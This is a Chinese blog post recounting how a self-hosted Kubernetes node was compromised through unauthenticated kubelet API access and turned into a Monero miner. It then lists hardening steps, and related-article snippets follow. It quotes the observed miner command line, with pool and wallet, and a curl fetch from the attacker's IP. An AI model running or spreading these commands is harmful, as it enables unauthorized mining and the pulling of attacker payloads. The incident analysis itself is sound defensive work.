记一次 Kubernetes 集群被入侵,服务器变门罗币矿机

一颗小胡椒2021-09-15 07:09:57

近期遇到了一次我们自建 Kubernetes 集群中某台机器被入侵挖矿,后续也找到了原因,所幸只是用来挖矿…

网络安全是个严肃的问题,它总是在不经意间出现,等你反应过来却已经迟了。希望各位读者看完后也有所启发,去检查及加固自己的集群。

入侵现象

检查到某台机器中出现了异常进程

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
curl -s http://45.9.148.35/scan_threads.dat

简单来讲,就是我们的机器被用来挖矿了…

问题出现后,我们第一时间关闭了docker,其实应该隔离下环境, 把挖矿程序dump下来,以便后续分析。

具体原因排查

iptables为空

出现了异常进程,肯定是被入侵了,我首先看的是 iptables 。果不其然,机器上的 iptables 规则是空的,意味着这台机器在裸奔。

kubelet裸奔

内部同事提出了有可能是 kubelet 被入侵的问题,检查过其他组件后,开始检查 kubelet 组件

最后检查到 kubelet 日志中有异常:

kubelet设置不当

确认入侵问题,kubelet 参数设置错误,允许直接访问 kubelet 的 api

发现是 kubelet 的启动项中,该位置被注释掉:

然后文件中禁止匿名访问的配置没有读取

该项配置是由于我操作不当注释掉的

由于是新增加的机器,当晚就发现了问题,整个集群是我在管理的,我跟随着一起排查,所以很快就找到了原因,当晚我就把其他机器中的配置项重新扫了一遍,假如它们的防火墙失效了,也会有类似的入侵情况发生,还好此次事件控制在1台机器中。

改进方案

其实该问题理论上讲是可以避免的,是因为出现了多层漏洞才会被有心人扫到,我从外到内整理了一下可能改进的策略。

  1. 机器防火墙设置,机器防火墙是整个系统最外层,即使机器的防火墙同步失败,也不能默认开放所有端口,而是应该全部关闭,等待管理员连接到tty终端上检查。
  2. 使用机器时,假如机器不是暴露给外部使用的,公网IP可有可无的时候,尽量不要有公网IP,我们的机器才上线1天就被扫描到了漏洞,可想而知,公网上是多么的危险
  3. 使用kubelet以及其他系统服务时,端口监听方面是不是该有所考量?能不能不监听 0.0.0.0,而是只监听本机的内网IP。
  4. 使用kubelet以及其他程序,设计或是搭建系统时, 对于匿名访问时的权限控制, 我们需要考虑到假如端口匿名会出现什么问题,是否应该允许匿名访问,如果不允许匿名访问,那么怎么做一套鉴权系统?
  5. 系统管理员操作时,是否有一个比较规范化的流程,是不是该只使用脚本操作线上环境? 手动操作线上环境带来的问题并不好排查和定位。
  6. 我这里不是抛出疑问,只是想告诉大家,考虑系统设计时,有必要考虑下安全性。

总结

发生了入侵事件后,同事开玩笑说,还好没其他经济损失,要不我可能要回家了。作为集群的管理员,只有自己最清楚问题的严重程度。从本质上来讲,问题已经相当严重了。入侵者相当于拥有了机器上docker的完整控制权限。如果读者有读过我关于docker系列的内容,就对权限上了解清楚了。

因为此次事件的发生,不只是我,还有SA的同学基本都被diao了一遍,心里还是有点难受的,希望大家能对网络安全问题有所重视,从加固防火墙开始,避免监听不必要的端口,这两项至少是最容易实现的。

kubernetes门罗
本作品采用《CC 协议》,转载必须注明作者和本文链接
近期遇到了一次我们自建 Kubernetes 集群中某台机器被入侵挖矿,后续也找到了原因,所幸只是用来挖矿…网络安全是个严肃的问题,它总是在不经意间出现,等你反应过来却已经迟了。希望各位读者看完后也有所启发,去检查及加固自己的集群。问题出现后,我们第一时间关闭了docker,其实应该隔离下环境, 把挖矿程序dump下来,以便后续分析。
据悉,跨平台加密货币挖掘僵尸网络LemonDuck正在针对开源应用容器引擎Docker,以在Linux系统上挖掘加密货币。
腾讯安全近期将复盘2022年典型的攻击事件,帮助企业深入了解攻击手法和应对措施,完善自身安全防御体系。下午 6点,X团伙完成了攻击链路的推演,整个过程近乎完美。此次的挖矿木马变种便是通过扫描 Docker Remote API未授权访问漏洞进行传播,并且入侵动作更加隐蔽。若 管理员对其配置不当则会导致未授权访问漏洞,攻击者不仅可以植入病毒,甚至可进一步利用 Docker自身特性,借助容器逃逸,最终控制整个集群。
CISO们拥有一系列不断改进的工具来帮助发现和阻止恶意活动:包括网络监控工具、病毒扫描程序、软件成分分析(SCA)工具、数字取证和事件响应(DFIR)解决方案等等。 不过,网络安全是一场持续不断的攻防战,攻击者会继续发起新的挑战。 较老的技术,如隐写术——将包括恶意有效载荷在内的信息隐藏在其他良性文件(如图像)中的技术——也正在发展,带来了新的可能性。例如,最近一名研究人员证明,即使是推特也不
随着越来越多的企业开始启用DevOps开发模式,CI/CD管道被广泛使用——这也给攻击者们带来了新的攻击路径,从而窃取敏感信息、进行挖矿、以及传输恶意代码。
最近的网络攻击利用了持续集成/持续交付 (CI/CD)管道和开发人员工具中的弱点,因此需要提高开发人员基础设施的安全性。值得注意的是,无论环境多么安全,Codecov 供应链攻击都警告所有人不要在 CI/CD 环境变量中存储机密。
Kubernetes通常被称为“K8s”,是一种非常流行的开源容器编排系统,可以自动部署、扩展和管理容器化工作负载。
本文将引入一个思路:“在 Kubernetes 集群发生网络异常时如何排查”。文章将引入 Kubernetes 集群中网络排查的思路,包含网络异常模型,常用工具,并且提出一些案例以供学习。其可能原因为Pod 的 DNS 配置不正确DNS 服务异常pod 与 DNS 服务通讯异常大数据包丢包:主要现象为基础网络和端口均可以连通,小数据包收发无异常,大数据包丢包。
尽管Kubernetes的默认设置为开发人员赋予了较大的灵活性和敏捷性,但是却没有考虑安全防护层面的需求。为了保护Kubernetes上应用数据的安全,企业必须确保对集群配置的合理性和安全性,以获得更充分的安全防护能力。企业在Kubernetes应用中,不能忽视保护集群网络中的应用系统,并对重要业务系统及数据实现隔离防护。
保留的这部分资源主要提供给系统进程使用。cpuManager 当前的限制:最大 numa node 数不能大于 8,防止状态爆炸。策略只支持静态分配 cpuset,未来会支持在容器生命周期内动态调整 cpuset。下文有介绍相应的提案。支持这种场景需要对 CPU 进行分组分配。
一颗小胡椒
暂无描述